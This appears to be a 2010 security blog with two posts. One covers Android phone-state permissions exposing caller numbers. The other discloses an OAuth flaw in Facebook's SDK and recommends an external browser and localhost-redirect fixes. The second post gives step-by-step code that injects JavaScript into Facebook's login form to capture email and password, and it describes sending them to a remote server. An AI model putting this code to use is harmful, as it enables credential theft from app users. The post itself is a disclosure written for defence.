Wednesday, November 17, 2010

Have we involuntarily granted partial wiretapping for our android phone?

There are a lot of android apps that require RAED_PHONE_STATE permission. Many of them have legit reason to do so, as they need to manage the audio and microphone state to avoid conflict with incoming calls.
Unfortunately, this simple permission also enables evil apps to obtain many of your personal info that you never want to give out.
From TelephonyManager, any evil app could obtain your phone’s IMEI or ESN, phone number, SIM number and operator, etc.
Do you also realize that an evil app (with long running background service) can also do passive wiretapping? The following sample code demonstrates the recording of all incoming phone numbers.
  TelephonyManager mgr = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
  mgr.listen(new PhoneStateListener() {
         public void onCallStateChanged(int state, String incomingNumber) {
             super.onCallStateChanged(state, incomingNumber);
             if (state == TelephonyManager.CALL_STATE_RINGING) {
                 wiretapping(incomingNumber);
             }
         }
      }, PhoneStateListener.LISTEN_CALL_STATE);
Should we pay more attention now when we grant RAED_PHONE_STATE permission while installing apps?

Monday, November 15, 2010

A serious OAuth security hole in Facebook SDK

Facebook SDK permits MITM attack for every hacker who wants to steal user’s Facebook credential (email and password).
The OAuth implementation shipped with Facebook SDK had ignored the warning from OAuth spec by using embedded browser, which completely defeated the purpose of OAuth: protecting first-order user credential from any third-party developers and their apps.
First, let’s recap the statement from OAuth 2.
Embedded user-agents pose a security challenge because users are authenticating in an unidentified window without access to the visual protections offered by many user-agents
In current IOS and Android platform, embedded browser launched by native mobile app can completely under the control of the application; therefore it enables Man-In-The-Middle attack for OAuth by any third-party application.
    
To demonstrate this security hole, add following code into com.facebook.android.FbDialog in its SDK.
(1)    Add following statement into setUpWebView method to enable browser JS callback
      mWebView.addJavascriptInterface(new HackJS(), "HackJS"); //HACKER

(2)    Add following code into onPageFinished method,
//HACKER
if (url.contains("facebook.com/login.php")) {
view.loadUrl("javascript:function hacker() {var f = document.getElementById('login_form'); HackJS.foundCredential(f.email.value, f.pass.value); f.submit()}; document.getElementById('login').onclick=hacker");
}
(3)    Add an inner class HackJS in FbDialog as a callback from browser,
public class HackJS {
            public void foundCredential(String name, String password) {
                  harvest(name, password);
      }
}

(4)    Implement your harvest method to send the encrypted data to your remote server. You are now ready to deploy your cool app and start to collect Facebook credentials. In my demo, I just simply display the stolen credential back to user.

        private void harvest(String name, String password) {
String message = "Your credential was stolen: name: " + name
+ "; pwd: " + password;
AlertDialog.Builder builder = new AlertDialog.Builder(this.getContext());
builder.setMessage(message).setNegativeButton(
  "Close", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
dialog.cancel();
}
});
AlertDialog alert = builder.create();
alert.show();
}
Following are the screen shots of Facebook’s simple Example distributed with its SDK, with the modified FbDialog.
   
Due to the usage of embedded browser, hackers can steal user’s credential with just a few lines of code based on standard API provided by hosting OS.
The MITM attack inside the app is almost undetectable by end user and OAuth provider, since it didn’t alter any auth flow.
What should have been done for Facebook OAuth?
First, it should educate its user community that, they should only enter their login credential into externally identifiable browser. The sign-in page should be from well-known host address with https and valid SSL certificate (your native browser already enforces that for you).
Second, provide a new OAuth client in its SDK by using external browser.
There are two ways to manage the callback from browser to native client.
(1)    Use protocol scheme handler supported by OS to handle OAuth redirect. One can define an OAuth redirect URL with custom protocol, such as “FbOAuth://facebook” instead of normal http, with configuration in AndroidManifest. For example,
     <intent-filter> 
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/> 
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="FbOAuth" android:host="facebook" /> 
     </intent-filter>
However, there is a possibility that the redirect URL was intercepted by another hack app with same filter (I have not confirmed this use case, since all my tests show that the intent was sent to the current activity - a singleton).
(2)    To completely protect redirect URL, I tried the following alternative approach by using embedded HTTPD inside native OAuth client to accept the redirect URL. When initiating the OAuth in native client, it first starts a light-weight HTTPD in any available port (for example search any available port above 8090), then constructs the correct redirect URL as http://localhost:8090 (or other port the current HTTPD server port is on) and launches external browser for OAuth. The final redirect URL from OAuth provider will be handled by native client via its internal HTTP request handler for HTTPD. The response from internal HTTPD will be another redirect (no OAuth query string data) with custom protocol, such as, FbOAuth://facebook. This second redirect will cause browser to close automatically. Since this second redirect URL doesn't contain any PII, we don't need to worry about interception.
One might ask a following question: how can you prevent hackers to launch a fake browser (implemented by native app with real browser appearance)? The answer is that you can’t.
However, as an end user, you are able to differentiate real browser and fake browser, intentionally or accidentally.
For example: (a) when external browser for OAuth is in display, simply holding (long press) universal Home button on your phone will popup application stack window. If it is a real browser, you will notice that the real browser is a first application in the application list, while you current app is second. (b) You could also press universal Menu button to bring up menu items for real browser if the current browser is a real one.
We can’t prevent hackers to fool others by providing hacked application with faked browser. However, by enforcing external browser policy for OAuth, the user community could police the market by identifying hacked OAuth clients by themselves, since this type of hack is easily detectable. It is enough for just a few people to discover the hack, then the large user community could be informed.
On a side note, the current Facebook’s OAuth SDK uses non-SSL for sign-in page, and then uses SSL for form submit. By doing so, it permits easy MITM attack in WIFI access point, not only for embedded browser, but also external browser, since there will be no SSL certificate validation for sign-in page.
The hacker could easily set up a WIFI access point in busy public area; intercept the non-SSL page request for OAuth, then present user a modified sign-in page so it can easily intercept your form submission with real credential.
I hope Facebook and other companies step up to protect user credential. Since many users use same or similar password for many of their other accounts, getting user’s real login credential from one account can greatly aid hackers to attack user's other accounts.